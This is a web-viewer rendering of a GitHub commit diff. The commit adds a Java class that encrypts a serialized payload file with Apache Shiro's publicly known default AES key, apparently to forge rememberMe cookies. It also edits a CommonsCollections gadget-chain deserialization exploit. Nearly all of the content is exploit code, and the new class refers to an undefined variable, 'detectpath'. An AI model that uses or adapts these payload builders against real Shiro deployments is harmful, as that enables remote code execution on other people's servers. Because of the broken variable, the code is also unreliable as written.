| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,31 @@ | |||
| 1 | + | ||
| 2 | + import com.sun.crypto.provider.AESKeyGenerator; | ||
| 3 | + import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; | ||
| 4 | + import org.apache.shiro.crypto.AesCipherService; | ||
| 5 | + import org.apache.shiro.util.ByteSource; | ||
| 6 | + | ||
| 7 | + import java.io.*; | ||
| 8 | + | ||
| 9 | + | ||
| 10 | + public class AESencode { | ||
| 11 | + public static void main(String[] args) throws Exception { | ||
| 12 | + String path = "/Users/xxxx/Desktop/java/ShiroTool/cc11"; | ||
| 13 | + byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); | ||
| 14 | + AesCipherService aes = new AesCipherService(); | ||
| 15 | + ByteSource ciphertext = aes.encrypt(getBytes(detectpath), key); | ||
| 16 | + System.out.printf(ciphertext.toString()); | ||
| 17 | + } | ||
| 18 | + | ||
| 19 | + | ||
| 20 | + public static byte[] getBytes(String path) throws Exception{ | ||
| 21 | + InputStream inputStream = new FileInputStream(path); | ||
| 22 | + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | ||
| 23 | + int n = 0; | ||
| 24 | + while ((n=inputStream.read())!=-1){ | ||
| 25 | + byteArrayOutputStream.write(n); | ||
| 26 | + } | ||
| 27 | + byte[] bytes = byteArrayOutputStream.toByteArray(); | ||
| 28 | + return bytes; | ||
| 29 | + | ||
| 30 | + } | ||
| 31 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,4 +1,4 @@ | |||
| 1 | - package ysoChainsEXP; | ||
| 1 | + package EXP.ysoChainsEXP; | ||
| 2 | 2 | ||
| 3 | 3 | import org.apache.commons.collections.Transformer; | |
| 4 | 4 | import org.apache.commons.collections.functors.ChainedTransformer; | |
@@ -38,7 +38,7 @@ public static void main(String[] args) throws Exception { | |||
| 38 | 38 | invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); | |
| 39 | 39 | ||
| 40 | 40 | serialize(invocationHandler); | |
| 41 | - unserialize("ser.bin"); | ||
| 41 | + // unserialize("ser.bin"); | ||
| 42 | 42 | } | |
| 43 | 43 | public static void serialize(Object obj) throws IOException { | |
| 44 | 44 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
| Back | FazBrowse Home | New Git URL |
0 commit comments